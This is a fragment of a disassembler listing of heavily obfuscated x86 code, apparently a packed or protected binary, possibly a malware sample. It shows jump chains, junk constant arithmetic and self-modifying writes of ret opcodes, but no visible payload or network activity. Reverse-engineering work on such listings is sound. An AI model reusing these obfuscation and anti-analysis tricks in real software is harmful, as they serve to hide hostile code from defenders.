; START	OF FUNCTION CHUNK FOR sub_439034

loc_44B9C9:				; CODE XREF: sub_439034+B3BBj
		jmp	loc_44CD9E
; END OF FUNCTION CHUNK	FOR sub_439034
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44B9CF:				; CODE XREF: kgbikm34:004458C8j
		jmp	loc_447117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416CA

loc_44B9D4:				; CODE XREF: sub_4416CA-44C5j
		jmp	sub_44720A
; END OF FUNCTION CHUNK	FOR sub_4416CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_44B9D9:				; CODE XREF: sub_437A6A:loc_447EF6j
		push	9F92F8D0h
		pop	eax
		xor	eax, 860F6384h
		and	eax, 3D55D975h
		jmp	loc_44564B
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------

locret_44B9F0:				; CODE XREF: kgbikm34:0043D518j
		retn
; ---------------------------------------------------------------------------

loc_44B9F1:				; CODE XREF: kgbikm34:0043A862j
		jmp	loc_4470C7
; ---------------------------------------------------------------------------

loc_44B9F6:				; CODE XREF: kgbikm34:00448979j
		push	ebx
		jno	loc_439401
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_44B9FD:				; CODE XREF: sub_43DC42+AD28j
		add	ecx, 8524630Fh
		sub	eax, ecx
		pop	ecx
		ror	eax, 7
		add	eax, 0F59DC734h
		ror	eax, 1Dh
		jmp	loc_43E4FC
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44BA17:				; CODE XREF: sub_440E0B-57A6j
		jz	loc_43AE6F
		jmp	loc_440F48
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

locret_44BA22:				; CODE XREF: kgbikm34:loc_449AD4j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_355. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_44BA24:				; CODE XREF: kgbikm34:00439B77j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44BA25:				; CODE XREF: sub_43DFE5+EF73j
		jmp	loc_44910B
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_44BA2A:				; CODE XREF: kgbikm34:00448AFAj
		jmp	loc_446C7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_44BA2F:				; CODE XREF: sub_4429A6+550j
		jmp	loc_4427B4
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------

loc_44BA34:				; CODE XREF: kgbikm34:0043DEB7j
		jmp	loc_4483C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF8F

loc_44BA39:				; CODE XREF: sub_43AF8F+1j
		cdq
; END OF FUNCTION CHUNK	FOR sub_43AF8F
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44BA3A:				; CODE XREF: sub_447B31-C806j
					; kgbikm34:loc_4422F4j	...
		jmp	loc_43B324
; ---------------------------------------------------------------------------

loc_44BA3F:				; CODE XREF: sub_447B31:loc_43EAC6j
					; kgbikm34:00445EEBj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_447B31

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BA42	proc near		; CODE XREF: sub_43DC42-5093p
					; kgbikm34:0043AC13p ...
		push	ebp
		mov	ebp, esp
		jmp	loc_442B80
sub_44BA42	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_358. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489C5

loc_44BA4B:				; CODE XREF: sub_4489C5-C806j
		jz	loc_43D469

loc_44BA51:				; CODE XREF: sub_43F524:loc_437970j
		add	eax, 0B2CB7384h

loc_44BA57:				; CODE XREF: kgbikm34:loc_43E9AFj
		call	sub_43F524

loc_44BA5C:				; CODE XREF: sub_43E135-1D51j
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_4489C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44BA61:				; CODE XREF: sub_43C55C-2A27j
		pushf
		sub	ebx, 0E785A1Fh
		push	ebx
		jmp	loc_43F34E
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440EC9

loc_44BA6E:				; CODE XREF: sub_440EC9+3j
		xchg	edx, [esp+4+var_4]
		mov	ebp, esp
		push	offset loc_444101
		jmp	loc_445A15
; END OF FUNCTION CHUNK	FOR sub_440EC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44BA7D:				; CODE XREF: sub_43741E+9774j
		xchg	ebp, ebx
		jnb	loc_438873
		test	ecx, 0B472A47Fh
		jmp	loc_43C8A0
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------

loc_44BA90:				; CODE XREF: kgbikm34:00446326j
		jnz	loc_4492F2
		jmp	loc_446010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_44BA9B:				; CODE XREF: sub_44213E+6B3Aj
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	loc_443DA1
; END OF FUNCTION CHUNK	FOR sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449405

loc_44BAA9:				; CODE XREF: sub_449405+4j
		mov	eax, [esp+0]
		call	sub_43B55B

loc_44BAB1:				; CODE XREF: kgbikm34:00444530j
		jle	loc_43A092
; END OF FUNCTION CHUNK	FOR sub_449405

; =============== S U B	R O U T	I N E =======================================



sub_44BAB7	proc near		; CODE XREF: sub_448C95+4FE1p

; FUNCTION CHUNK AT 00437AE0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B220 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, 6

loc_44BAC0:				; CODE XREF: kgbikm34:0044507Dj
		sub	eax, [ebp-4]
		jmp	loc_43B220
sub_44BAB7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BAC8	proc near		; CODE XREF: sub_4479B1-2082p
					; kgbikm34:00448D1Aj

; FUNCTION CHUNK AT 0043B791 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442124 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C821 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	3B933CD8h
		pop	eax
		add	eax, 7ED45883h
		sub	eax, 4BF12329h
		or	eax, 0CAB98F53h
		jmp	loc_442124
sub_44BAC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BAE9	proc near		; DATA XREF: sub_4438D6-437Ao
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
sub_44BAE9	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_443622

loc_44BAF1:				; CODE XREF: kgbikm34:0043A336j
					; sub_43C9D6-501j ...
		mov	eax, [ebp-0Ch]
		jmp	loc_445626
; END OF FUNCTION CHUNK	FOR sub_443622
; ---------------------------------------------------------------------------
		add	ecx, 93E8ED8Fh
		jmp	sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44BB04:				; CODE XREF: sub_444A5E-D7Ej
		sbb	ecx, edx
		xchg	esi, ebp
; END OF FUNCTION CHUNK	FOR sub_444A5E
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_44BB08:				; CODE XREF: sub_43FF32:loc_43EC37j
					; sub_43FF32+2AF5j ...
		jmp	loc_44C7D5
; ---------------------------------------------------------------------------

loc_44BB0D:				; CODE XREF: sub_444A5E+5B96j
					; sub_43FF32+AFBDj
		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		jmp	loc_43ACD3
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
		mov	ebp, 18282AD6h
		jmp	loc_43D492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_44BB27:				; CODE XREF: sub_4433D8:loc_43FB9Dj
		add	edx, 0AF73A5F0h
		mov	[edx], eax
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_44BB31:				; CODE XREF: sub_43FC25j
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+4+var_4]
		jmp	loc_43ED56
; END OF FUNCTION CHUNK	FOR sub_43FC25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438978

loc_44BB3C:				; CODE XREF: sub_438978:loc_446811j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		call	sub_43D409
		jmp	loc_444776
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD0

loc_44BB50:				; CODE XREF: sub_43CCD0+19j
		test	ecx, 20000h
		jmp	loc_439550
; END OF FUNCTION CHUNK	FOR sub_43CCD0
; ---------------------------------------------------------------------------
		sbb	ecx, 5093563Bh
		jmp	sub_445993
; ---------------------------------------------------------------------------

locret_44BB66:				; CODE XREF: kgbikm34:00437254j
		retn
; ---------------------------------------------------------------------------

loc_44BB67:				; CODE XREF: kgbikm34:00449A93j
		jmp	loc_439E50
; ---------------------------------------------------------------------------

loc_44BB6C:				; CODE XREF: kgbikm34:00442ECCj
		jmp	loc_44E16D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_44BB71:				; CODE XREF: sub_43ACD5:loc_4480C8j
		popf
		jmp	loc_445F4C
; END OF FUNCTION CHUNK	FOR sub_43ACD5

; =============== S U B	R O U T	I N E =======================================



sub_44BB77	proc near		; DATA XREF: sub_43D298+Fo
		lea	eax, loc_43F07E
		mov	byte ptr [eax],	0C3h
		jmp	loc_43F07E
sub_44BB77	endp


; =============== S U B	R O U T	I N E =======================================



sub_44BB85	proc near		; CODE XREF: sub_410344+77p
					; sub_4103F4+52p ...
		call	sub_44BB9F
		jmp	ds:off_41E158
sub_44BB85	endp

; ---------------------------------------------------------------------------

loc_44BB90:				; CODE XREF: kgbikm34:0044B45Bj
		jmp	loc_43767F
; ---------------------------------------------------------------------------

loc_44BB95:				; CODE XREF: kgbikm34:004492B4j
		jmp	loc_43D036
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B72E

loc_44BB9A:				; CODE XREF: sub_43B72E+Bj
		jmp	loc_44B3D4
; END OF FUNCTION CHUNK	FOR sub_43B72E

; =============== S U B	R O U T	I N E =======================================



sub_44BB9F	proc near		; CODE XREF: sub_44B34A:loc_4374A7j
					; kgbikm34:loc_446C41j	...

; FUNCTION CHUNK AT 0043C21B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044104E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442106 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044342E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00443F4B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447759 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00447C07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448C7D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044A72B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C155 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C79B SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		push	ecx
		jmp	loc_448C7D
sub_44BB9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BBA8	proc near		; DATA XREF: sub_445A5E:loc_446DE8o

; FUNCTION CHUNK AT 0043C5BC SIZE 00000005 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_43C5BC
sub_44BBA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_44BBB0	proc near		; CODE XREF: sub_401000+202p
					; sub_401000+287p ...
		call	sub_44BBC0
		jmp	ds:off_41E034
sub_44BBB0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403D5

loc_44BBBB:				; CODE XREF: sub_4403D5+6A5Ej
		jmp	loc_4481AB
; END OF FUNCTION CHUNK	FOR sub_4403D5

; =============== S U B	R O U T	I N E =======================================



sub_44BBC0	proc near		; CODE XREF: sub_4397E2+4154j
					; kgbikm34:0044B688j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AEEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D93B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043FA85 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044847A SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0044D7DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD39 SIZE 00000005 BYTES

		pop	edx
		jno	loc_43D93B
		mov	eax, [esp+0]
		push	edx
		jmp	loc_44847A
sub_44BBC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C473

loc_44BBD0:				; CODE XREF: sub_44C473+Cj
		sub	ebx, 5F46623Fh
		add	ebx, 579F2AFh
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_361
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_361
; END OF FUNCTION CHUNK	FOR sub_44C473

; =============== S U B	R O U T	I N E =======================================



sub_44BBED	proc near		; CODE XREF: sub_401970+3Cp
					; sub_401970+7Ep ...

; FUNCTION CHUNK AT 00438B5B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E23C SIZE 00000005 BYTES

		call	sub_438B6B
		jmp	loc_43E23C
sub_44BBED	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF40

loc_44BBF8:				; CODE XREF: sub_43DF40+7BC5j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43DF40
; ---------------------------------------------------------------------------

loc_44BBFD:				; CODE XREF: kgbikm34:00443DC9j
		jmp	loc_44994F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4455C3

loc_44BC02:				; CODE XREF: sub_4455C3-3F18j
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_4455C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_44BC07:				; CODE XREF: sub_4481F3-10E16j
		jmp	loc_43B99F
; END OF FUNCTION CHUNK	FOR sub_4481F3
; ---------------------------------------------------------------------------

loc_44BC0C:				; CODE XREF: kgbikm34:0043FB21j
		pushf
		xor	ebx, edi

loc_44BC0F:				; CODE XREF: kgbikm34:loc_43B5EFj
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp]
		jmp	loc_4399B4
; ---------------------------------------------------------------------------

locret_44BC1A:				; CODE XREF: kgbikm34:loc_442BEBj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44BC1B:				; CODE XREF: sub_43C55C+1170Bj
		jmp	loc_444B20
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_44BC20:				; CODE XREF: sub_444600+16j
		jmp	loc_4377E4
; END OF FUNCTION CHUNK	FOR sub_444600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_44BC25:				; CODE XREF: sub_442340+126Fj
		setnz	byte ptr [ebp-5]
		call	sub_442435

loc_44BC2E:				; CODE XREF: kgbikm34:loc_439B7Cj
		mov	edx, ds:dword_43A8C4
		mov	ebx, [edx]
		sub	ebx, eax
		mov	ecx, [ebp-4]
		jmp	loc_43E870
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------

loc_44BC40:				; CODE XREF: kgbikm34:0044204Ej
		add	eax, 0EB5CB2C5h
		cmp	eax, 5DD7B98Eh
		jmp	loc_439995
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B82

loc_44BC51:				; CODE XREF: sub_439B82+C8CDj
		rol	edi, 1Ch
		xor	edi, 0EFF7DFFFh
		xchg	edi, [esp+0]
		call	sub_449EC1

loc_44BC62:				; CODE XREF: sub_448BC4-2823j
		jmp	loc_43A4D8
; END OF FUNCTION CHUNK	FOR sub_439B82
; ---------------------------------------------------------------------------
		jmp	loc_44B748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D1

loc_44BC6C:				; CODE XREF: sub_4400D1:loc_43C798j
		xor	esi, 0C1A75D5Ch
		popf
		sub	eax, esi
		pop	esi
		push	offset loc_43A872
		jmp	loc_44A55A
; END OF FUNCTION CHUNK	FOR sub_4400D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44BC80:				; CODE XREF: sub_43D494:loc_4439A2j
		jz	loc_4438CA
		jmp	loc_439820
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_44BC8B:				; CODE XREF: kgbikm34:0044B416j
		jnz	loc_449F19
		jmp	loc_43B4FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_286. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6BD

loc_44BC97:				; CODE XREF: sub_43E6BD+7190j
		jmp	nullsub_331
; END OF FUNCTION CHUNK	FOR sub_43E6BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A22B

loc_44BC9C:				; CODE XREF: sub_43A22B:loc_446A3Fj
		pop	ecx

loc_44BC9D:				; CODE XREF: sub_448D30+10j
		pushf
		push	676787A0h
		pop	eax
		xor	eax, 7EC10346h
		jmp	loc_44C432
; END OF FUNCTION CHUNK	FOR sub_43A22B
; ---------------------------------------------------------------------------

loc_44BCAF:				; CODE XREF: kgbikm34:004430ADj
		test	edi, ecx
		jmp	loc_43982A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_44BCB6:				; CODE XREF: kgbikm34:loc_448124j
					; sub_43E34D+CD4Ej
		test	ecx, ebx
		jmp	loc_43DD95
; END OF FUNCTION CHUNK	FOR sub_43E34D
; ---------------------------------------------------------------------------

loc_44BCBD:				; CODE XREF: kgbikm34:0044C9AEj
		jz	loc_43A6E1
		sub	esi, edx
		jmp	loc_43DBDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_44BCCA:				; CODE XREF: sub_4466A3-DFC6j
		jle	loc_43790A
		jmp	loc_44111A
; END OF FUNCTION CHUNK	FOR sub_4466A3

; =============== S U B	R O U T	I N E =======================================



sub_44BCD5	proc near		; DATA XREF: kgbikm34:0044C80Bo

; FUNCTION CHUNK AT 0043A961 SIZE 00000008 BYTES

		push	0DE7E0DBBh
		pop	edx
		and	edx, 31B0C085h
		add	edx, 0F013FE99h
		popf
		jmp	loc_43A961
sub_44BCD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E34D

loc_44BCED:				; CODE XREF: sub_43E34D+417Fj
		jz	loc_4495A1
		jmp	loc_44B09A
; END OF FUNCTION CHUNK	FOR sub_43E34D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_44BCF9:				; CODE XREF: sub_43DFE5+77AFj
		jmp	loc_43FF45
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44BCFE:				; CODE XREF: sub_449F77-2B83j
		pop	edx
		rol	eax, 7
		jmp	loc_447898
; ---------------------------------------------------------------------------

loc_44BD07:				; CODE XREF: sub_449F77j
		push	6B5564C1h

loc_44BD0C:				; CODE XREF: kgbikm34:loc_440070j
		pop	eax
		sub	eax, 0FABFA5B0h
		jmp	loc_43D42A
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_44BD18:				; CODE XREF: kgbikm34:loc_44CFE2j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A12E
; ---------------------------------------------------------------------------
		push	ebx
		push	0BEF3CDA4h
		pop	ebx
		sub	ebx, 0B99CBB45h
		xor	ebx, 4228F0B8h
		or	ebx, 0AC87CA59h
		jmp	loc_44A498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_44BD3E:				; CODE XREF: sub_43F4C9-8D8j
		jz	loc_43C9F5
		jmp	loc_441EE7
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
		db 81h,	0FDh, 30h
		dd 0E930790Ch, 0FFFEF8E2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442E5A

loc_44BD54:				; CODE XREF: sub_442E5A+Cj
		push	0F69C9EAh
		pop	eax
		and	eax, 0A2206447h
		push	offset sub_4468C5
		jmp	loc_44D480
; END OF FUNCTION CHUNK	FOR sub_442E5A
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_43F725
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44BD70:				; CODE XREF: sub_44649E:loc_43C538j
		jz	loc_440526
		jmp	loc_44A58D
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_44BD7B:				; CODE XREF: kgbikm34:0044976Fj
		push	4C481F5Ah
		pop	esi
		sub	esi, 50D4DF60h
		cmp	esi, 7834EC1Bh
		jmp	loc_44548D
; ---------------------------------------------------------------------------
		adc	edx, esi
		jmp	loc_444D23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_44BD99:				; CODE XREF: sub_448C95:loc_44D3F0j
		jl	loc_44D33D
; END OF FUNCTION CHUNK	FOR sub_448C95
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_44BD9F:				; CODE XREF: sub_4418C2+A9E7j
		jmp	loc_44335E
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_44BDA4:				; CODE XREF: sub_43A6C7+FDCCj
		jmp	loc_444F80
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------
		cmp	ecx, ebp
		jmp	loc_441C70
; ---------------------------------------------------------------------------

loc_44BDB0:				; CODE XREF: kgbikm34:0043D541j
		jnb	loc_44AF5F
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_44BDB6:				; CODE XREF: sub_447E85-1E05j
		jmp	sub_44BA42
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
		sub	ecx, ebp
		jmp	loc_44AF5D
; ---------------------------------------------------------------------------

loc_44BDC2:				; DATA XREF: sub_448E4B+7o
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx
		push	eax
		jmp	loc_444578
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44BDCE:				; CODE XREF: sub_440141:loc_448597j
		mov	edx, [esp+0]
		push	eax
		mov	eax, edx
		push	ebx
		push	6DE78402h
; END OF FUNCTION CHUNK	FOR sub_440141
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44BDDA:				; CODE XREF: sub_44114F:loc_4436C7j
		pop	ebx
		and	ebx, 0C76417FCh
		add	ebx, 0BADFD6D7h
		jmp	loc_44B365
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

locret_44BDEC:				; CODE XREF: kgbikm34:00446566j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44BDED:				; CODE XREF: sub_43741E+5494j
		jmp	loc_442CBA
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_44BDF2:				; CODE XREF: sub_43DC9A+1B33j
		cmp	byte ptr [eax],	0E8h
		jnz	loc_44B5D2
		mov	eax, [ebp-4]
		inc	eax
		jmp	loc_448E83
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DBBA

loc_44BE04:				; CODE XREF: sub_43DBBA:loc_437837j
		jz	loc_44853C
		jmp	loc_43E7EE
; END OF FUNCTION CHUNK	FOR sub_43DBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444FD8

loc_44BE0F:				; CODE XREF: sub_444FD8+7j
		push	0E0E9FB13h
		push	offset loc_441CF7
		jmp	loc_43C0DA
; END OF FUNCTION CHUNK	FOR sub_444FD8
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		jmp	loc_4465AB
; ---------------------------------------------------------------------------

locret_44BE2F:				; CODE XREF: kgbikm34:loc_447205j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_44BE30:				; CODE XREF: sub_44D599:loc_44D6BBj
		push	ecx
		push	63DBC0C1h
		pop	ecx
		sub	ecx, 22AEA5D0h
		add	ecx, 71E60B71h
		jmp	loc_437A44
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------

locret_44BE48:				; CODE XREF: kgbikm34:0043CBD3j
		retn
; ---------------------------------------------------------------------------
		jbe	loc_4456FE
		cmp	edi, ecx
		jmp	loc_43F3BF
; ---------------------------------------------------------------------------

loc_44BE56:				; DATA XREF: sub_44C75F-C5AFo
		mov	[edx-10h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		call	sub_43DFB9
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_44BE64:				; CODE XREF: sub_43CD5D+19j
		jmp	loc_44B5EC
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7D3

loc_44BE69:				; CODE XREF: sub_43C7D3+12j
		jmp	loc_439F07
; END OF FUNCTION CHUNK	FOR sub_43C7D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_44BE6E:				; CODE XREF: sub_43D114+6j
		pop	ecx
		and	ecx, 0A6FCDBCCh
		xor	ecx, 90FBE73Ah
		cmp	ecx, 0E0C3ACD5h
		jmp	loc_439BA8
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_44BE86:				; CODE XREF: sub_44368F:loc_44DD2Fj
		add	ebx, 2058A160h
		push	offset loc_43E6CE
		jmp	nullsub_265
; END OF FUNCTION CHUNK	FOR sub_44368F

; =============== S U B	R O U T	I N E =======================================



sub_44BE96	proc near		; CODE XREF: sub_4479B1+Fp
					; kgbikm34:loc_44D5B4j

; FUNCTION CHUNK AT 004440A9 SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	sub_43CDCE
		jmp	loc_4440A9
sub_44BE96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BEAD	proc near		; CODE XREF: kgbikm34:00438F34j
					; kgbikm34:0044ADADp

; FUNCTION CHUNK AT 0044254C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_44254C
sub_44BEAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BEB9:				; CODE XREF: kgbikm34:loc_44415Dj
		pop	edx
		mov	eax, [esp]
		jmp	loc_440CF4
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D4B3

loc_44BEC8:				; CODE XREF: sub_44D4B3+7j
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_44D4B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D21A

loc_44BECD:				; CODE XREF: sub_43D21A+8AF6j
		jmp	sub_43DFE5
; END OF FUNCTION CHUNK	FOR sub_43D21A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi
		pop	edi
		jmp	loc_44AC95
; ---------------------------------------------------------------------------

loc_44BEDD:				; CODE XREF: kgbikm34:loc_44D9C4j
		jnz	loc_43A6E8
		jmp	loc_439F82
; ---------------------------------------------------------------------------

loc_44BEE8:				; CODE XREF: kgbikm34:0043CE2Fj
		add	eax, 66E22464h
		xchg	eax, [esp]
		jmp	sub_43D409
; ---------------------------------------------------------------------------
		pop	edx
